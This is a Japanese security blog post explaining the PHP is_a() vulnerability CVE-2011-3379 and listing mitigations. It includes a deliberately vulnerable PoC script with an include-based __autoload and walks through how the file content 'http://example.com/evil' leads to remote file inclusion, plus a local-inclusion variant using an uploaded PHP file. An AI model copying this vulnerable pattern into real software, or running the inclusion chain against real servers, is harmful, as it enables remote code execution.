2012年10月1日月曜日

PHPのis_a関数における任意のコードを実行される脆弱性(CVE-2011-3379)とは何だったか

少し古いバージョンになりますが、PHP5.3.7および5.3.8のis_a関数には「任意のコードを実行される脆弱性(CVE-2011-3379)」があります。
任意のコードが実行されるとはただならぬ感じですが、このCVE-2011-3379はほとんど話題になっていません。なぜでしょうか。それは、この脆弱性が発現する条件が、レアなケースに限られるからです。
このエントリでは、CVE-2011-3379について少し詳しく説明することを通して、脆弱性情報の見方について考えてみます。

is_a関数とis_subclass_of関数

PHPにはis_a関数とis_subclass_of関数というよく似た関数があります。以下PHP5.3.6までの「元々の」仕様について説明します。
is_a関数は、2つの引数をとり、第1引数のクラス(インスタンスで指定)が、第2引数のクラス(クラス名で指定)またはそのサブクラスであるか否かを返します。
<?php
class A {}
class SubA extends A {}
$parent = new A();
$sub = new SubA();
var_dump(is_a($parent, 'A'));       // true
var_dump(is_a($parent, 'SubA'));  // false
var_dump(is_a($sub, 'A'));           // true
var_dump(is_a($sub, 'SubA'));      // true
is_subclass_of関数は、第1引数のクラス(インスタンスかクラス名で指定)が、第2引数のクラス(クラス名で指定)のサブクラスか否かを返します。
<?php
class A {}
class SubA extends A {}
$parent = new A();
$sub = new SubA();
var_dump(is_subclass_of($parent, 'A'));     // false
var_dump(is_subclass_of($parent, 'SubA'));   // false
var_dump(is_subclass_of($sub, 'A'));            // true
var_dump(is_subclass_of($sub, 'SubA'));       // false
var_dump(is_subclass_of('A', 'A'));               // false
var_dump(is_subclass_of('A', 'SubA'));        // false
var_dump(is_subclass_of('SubA', 'A'));        // true
var_dump(is_subclass_of('SubA', 'SubA'));   // false

PHPの__autoload関数

PHPには、__autoload関数というものがあります。この関数は、未定義のクラスが参照された際に、そのクラスの定義を自動的に読み込めるようにするものです。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
$x = new X();  // クラスXは未定義なので、__autoload('X')が暗黙に呼び出される
               // 結果的に、X.phpがインクルードされる

前述のis_subclass_of関数の題意引数に指定したクラス名が、未定義クラスを指す場合も、__autoload関数が呼び出されます。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
var_dump(is_subclass_of('X', 'A'));  // __autoload('X')が暗黙に呼び出される

PHP5.3.7におけるis_subclass_of関数の変更

PHP5.3.7にて、is_subclass_of関数の仕様が少し変わります(Bug #53727)。PHP5.3.6以前では、インターフェースBを実装しているクラスImplBは、is_subclass_of関数はfalseを返し、ImplBのサブクラスについてはtrueを返していました。
<?php
interface B {}
class ImplB implements B{}
class SubImplB extends ImplB{};
$parent = new ImplB();
$sub = new SubImplB();
var_dump(is_subclass_of($parent, 'B'));     // false
var_dump(is_subclass_of($sub, 'B'));        // true
var_dump(is_subclass_of('ImplB', 'B'));     // false
var_dump(is_subclass_of('SubImplB', 'B'));  // true
これに対して、PHP5.3.7では、インターフェースについてもis_subclass_of関数はtrueを返すようになりました。すなわち、上記の表示はいずれもがtrueを表示するように変わりました。

PHP5.3.7において副作用的に発生したis_a関数の仕様変更

インターフェースの扱いはCVE-2011-3379とは直接関係ないのですが、上記変更に伴って、is_a関数の仕様が変わりました。

  • 第1引数としてクラス名(文字列)が指定できるようになった
  • 第1引数に指定したクラス名が未定義クラスの場合、__autoload関数が呼び出されるようになった

すなわち、以下の例では、__autoload('X')が暗黙に呼び出されます。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
var_dump(is_a('X', 'A'));  // __autoload('X')が暗黙に呼び出される
なぜ、このような変更が起こってしまったかという原因ですが、is_a関数とis_subclass_of関数は中味がよく似ているため、実装は共通であり、スイッチで処理内容が切り替わるようになっているためと思われます。具体的には、zend_builtin_functions.c内のis_a_impl関数の第2引数only_subclassの値でこの2つの関数を切り替えています。
このため、is_subclass_of関数の変更の影響が、is_a関数にも及んだものと推測されます。

is_a関数の仕様変更の影響

PHP5.3.7のリリースが2011年8月18日ですが、8月22日にはis_a関数がautoload関数を呼び出すようになったことが問題としてbug.php.netにあがっています(Bug #55475)。

PHP5.3.6とは仕様が変わっていることは明らかですが、Bug #55475のスレッドでは、以下のような議論が行われました。
  • まぁ、これはこれで一貫した処理なのでは?
  • でも、安定版の中で振る舞いが変わるのはやはりまずいよ
  • PEARだと、この影響でまずいことがある
  • これはセキュリティバグだ。第1引数にURLが指定されると、リモートファイルインクルード(RFI)になる
ここでは、PEARの件と、セキュリティバグの件を紹介します。

PEARライブラリFileオブジェクトの誤動作例

PEARライブラリ中のFileオブジェクトには、readAllというメソッドがあります。以下に示すように、ファイル名を指定して呼び出すと、ファイルの中味が文字列として帰ります。エラーの場合はPEAR_Errorというクラスのインスタンスが返るので、PEAR::isErrorメソッドでエラー判定します。
<?php
require_once 'File.php';
$content = File::readAll(FILENAME);
if (PEAR::isError($content)){
 問題は、このエラー判定です。isErrorの実装をいかに示します。
function isError($data, $code = null)
{
  if (!is_a($data, 'PEAR_Error')) {
    return false;
  }
  if (is_null($code)) {
    return true;
  } elseif (is_string($code)) {
    return $data->getMessage() == $code;
  }
  return $data->getCode() == $code;
}
is_a関数で、PEAR_Errorクラスのインスタンスであるかどうかを比較していますが、$dataの中身が、「PEAR_Error」という文字列だったらどうでしょうか。is_a関数は、is_a('PEAR_Error', 'PEAR_Error')という呼び出しになりPHP5.3.7ではtrueが帰ります。結果として、isErrorはtrueを返してしまいます。
つまり、ファイルの中身が「PEAR_Error」だったら、正常な読み込みができた場合でもエラーとして判定されてしまうことになります。
そんなにしょっちゅうあるとは思えませんが、不完全なプログラムであることには間違いありません。しかも、これが脆弱性として発現する場合もあるのです。これがCVE-2011-3379です。

is_a関数とPEARの合わせ技で脆弱性に

Cipriano Groenendal氏のブログ記事から、脆弱性のあるスクリプトを紹介します。
<?php
function __autoload($class_name) {
  include $class_name . '.php';
}
$uploaded_file = File::readAll($uploaded_filename);
if (PEAR::isError($uploaded_file)){
  echo "error : $uploaded_file\n";
}else{
  echo "success : $uploaded_file\n";
}
このスクリプトは、__autoload関数が定義されていて、未定義のクラスが参照された場合に、クラス名に.php拡張子をつけたファイルをインクルードするようになっています。処理の中身は、利用者がアップロードしたファイルを読み込んで、画面に表示するものです。PoCなので、XSS対策していないのは目をつぶることにしましょうw

ここで問題は、PEAR::isErrorメソッドが内部でis_a関数を読んでいるので、ファイルから読み込んだ文字列に対して、is_a関数が呼び出されることです。

たとえば、ファイルの中身が http://example.com/evil だったとすると、

PEAR::isError('http://example.com/evil');
 ↓
is_a('http://example.com/evil', 'PEAR_Error');
 ↓  // http://example.com/evil というクラスは未定義なのでautoload
__autoload('http://example.com/evil');
 ↓
include('http://example.com/evil.php');

上記の流れで、(allow_url_include = Onの場合、但しデフォルトはOff)http://example.com/evil.php からスクリプトが読み込まれて実行されてしまうことになります。これはリモートファイルインクルード攻撃(RFI)の成功です。

また、allow_url_include = Offの場合でも、利用者がアップロード機能を利用して、拡張子がphpのファイルにPHPスクリプトを書き込むことができ、そのファイル名を外部から知ることができれば、ローカルファイルインクルード攻撃(LFI)が可能です。
  • 利用者がPHPスクリプトをアップロードする。ファイル名は /var/data/12345.php となる
  • 利用者が /var/data/12345 という文字列をアップロードする
  • 上記の流れで、/var/data/12345.php がインクルードされ、スクリプトが実行される
拡張子がphpで、中味がPHPスクリプトというファイルをアップロードできること自体がとても恐ろしいアプリケーションであるわけですが、外部からこのスクリプトを起動できなければ、LFIは成立しません。しかし、is_a関数の仕様変更により、「元々は外部から起動できないはずのスクリプトが起動できてしまう」ことが問題です。

攻撃が成立する条件

上記シナリオ以外にもis_a関数が__autoload関数を呼び出すシナリオがあるかもしれませんが、それを考え出すときりがないので、上記シナリオの場合に、攻撃が成立する条件を考えます。それは以下をすべて満たす場合です。
  • PHP5.3.7またはPHP5.3.8を使っている(PHP5.3.9で対策されているため)
  • PEAR - Fileなど、外部からの入力に対して、直接・間接にis_a関数を呼び出している
    典型的にはファイルアップロード機能があり、その中味をFile::readAll関数で読み出している
  • アップロード機能によりテキストファイルをアップロードできる
  • __autoload関数を定義している
  • 以下のいずれかが成立する
    •  allow_url_includeがOnである
    •   利用者がPHPスクリプトを拡張子が.phpのファイルとしてアップロードでき、ファイル名を推測できる

対策

対策は以下の通りです。PHP5.3.9以降を用いれば、問題は発生しません。
  • PHPの最新版を用いる。PHP5.3.9で対策されている(必須)
  • is_a関数ではなく、instanceof演算子を用いる(推奨)
  • Fileクラスを使わない。File::readAll関数の代わりに、file_get_contentsが利用できる(推奨)
  • __autoload関数を実装する場合は、クラス名の妥当性確認を行う(強く推奨、後述)

考察・まとめ

is_a関数のちょっとした仕様変更が、思わぬ脆弱性の原因になってしまった例を紹介しました。
 正直言って、is_a関数の仕様はイケテナイと思います。現に、is_a関数はPHP5.0.0でいったん非推奨になっていますが、「利用者からの要望が多かったため」、PHP5.3.0で非推奨でなくなったという経緯があります。
 PHP5.3.9での対策は、is_a関数のデフォルトでは第1引数に文字列をとれなくしましたが、追加の第3引数により、文字列でのクラス名の指定も可能にしたものです。詳しくは、is_a関数のリファレンスを参照下さい。

 is_a関数は、元々第1引数の型(クラス)を調べるものなのに、文字列の時だけ中味(クラス名)をチェックするのは、筋が悪く、思わぬバグを生み出す原因になります。CVE-2011-3379は正にその例です。PHP5.3.9での対策は、「デフォルトでは文字列指定できなくしたけど、スイッチで、オブジェクトまたは文字列の指定もできる」というものですが、オブジェクトを入力とする関数と、文字列を入力とする関数は本来は別に用意するべきでしょう。

 また、is_a関数(元々はis_subclass_of関数)が、クラス未定義の場合に__autoloadを呼び出す仕様がそもそも余計なおせっかいと思いますが、仮に__autoloadを呼び出すのであれば、クラス名(識別子)としての妥当性を確認すべきでしょう。現状では、クラス名として「1」や「/var/data/evil」など(クラス名にできない文字列)を指定しても、そのまま__autoloadが呼び出されます。
 このため、PHP利用者側で取れる対策としては、__autoload関数側でクラス名の妥当性チェックをするのがよいと思いますが、本来は、PHP側で対策すべきと考えます。

フォロワー

ブログ アーカイブ